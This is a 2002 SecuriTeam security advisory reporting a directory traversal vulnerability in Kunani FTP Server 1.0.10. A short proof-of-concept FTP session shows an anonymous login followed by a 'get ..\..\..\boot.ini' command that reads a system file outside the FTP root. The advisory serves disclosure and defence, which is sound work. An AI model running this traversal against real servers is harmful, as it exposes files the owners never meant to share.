Security News -  Security Reviews -   Exploits -  Tools -  UNIX Focus -  Windows Focus
SecuriTeam  Beyond Security  SecuriTeam Home  Ask the Team  Mailing Lists  Advertising Info  Blogs  Black Box Testing  Vulnerability Assessment  Vulnerability Scanner SecuriTeam in Your Inbox   E-mail this article to a friend New vulnerability? New tool? Tell us	Kunani FTP Server Vulnerable to a Directory Traversal Attack 12 Dec. 2002    Summary Kunani FTP Server is a free Windows based FTP Server, the product has been found to contain a security vulnerability that allows remote attackers to view files and directories outside the bounding FTP directory.   Credit: The information has been provided by Zero-X www.lobnan.de Team.    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable systems:  * Kunani FTP Server version 1.0.10 Example: ###################################################### Verbindung mit server. 220 Kunani FTP Server Ready ( www.kunani.com ) Benutzer (server:(none)): anonymous 331 Password required for anonymous. Kennwort: billsucks 230 User anonymous logged in. Ftp> get ..\..\..\..\..\boot.ini 200 PORT command successful 150 Opening ASCII mode data connection for /bin/ls. 226 Transfer complete. Ftp: 1337 Bytes empfangen in 0.00Sekunden 175000.00KB/Sek. #####################################################  Comments:  Add new comment:  Subject:  Name/Nick/Email:          Chars Left:	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Trend Micro HouseCall "notifyOnLoadNative()" Vulnerability Citrix Broadcast Server login.asp SQL Injection Trend Micro HouseCall ActiveX Control Arbitrary Code Execution PGP Desktop PGPwded.sys Denial of Service Microsoft Hierarchical FlexGrid Control Integer Overflows (MS08-070) Microsoft Word Malformed FIB Arbitrary Free Vulnerability (MS08-072) CA ARCserve Backup LDBserver Vulnerability CA ARCserve Backup RPC "handle_t" Argument Vulnerability Internet Explorer 8.0 Beta 2 Anti-XSS Filter Vulnerabilities Microsoft Internet Explorer HTML Tag Long File Name Extension Stack Buffer Overflow Vulnerability (MS08-073) Microsoft Windows Graphics Device Interface Integer Overflow Vulnerability (MS08-071) Microsoft Excel Malformed Object Memoy Corruption Vulnerability (MS08-074) Google Chrome MetaCharacter URI Obfuscation Vulnerability iPhone Configuration Web Utility for Windows Directory Traversal Microsoft Windows Active Directory LDAP Server Information Disclosure Vulnerability  Featured Articles Roundcubemail PHP Arbitrary Code Injection Qemu and KVM VNC Server Remote DoS Sun Solaris SIOCGTUNPARAM IOCTL Kernel NULL Pointer Dereference Firefox Cross-Domain Text Theft Microsoft Word Malformed FIB Arbitrary Free Vulnerability (MS08-072) Internet Explorer 8.0 Beta 2 Anti-XSS Filter Vulnerabilities Hacking SOHO Routers
	Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus - Blogs - CVEs

Copyright © 1998-2008 Beyond Security® All rights reserved.
Terms of Use Site Privacy Statement.
SecuriTeam™ is a trademark of Beyond Security®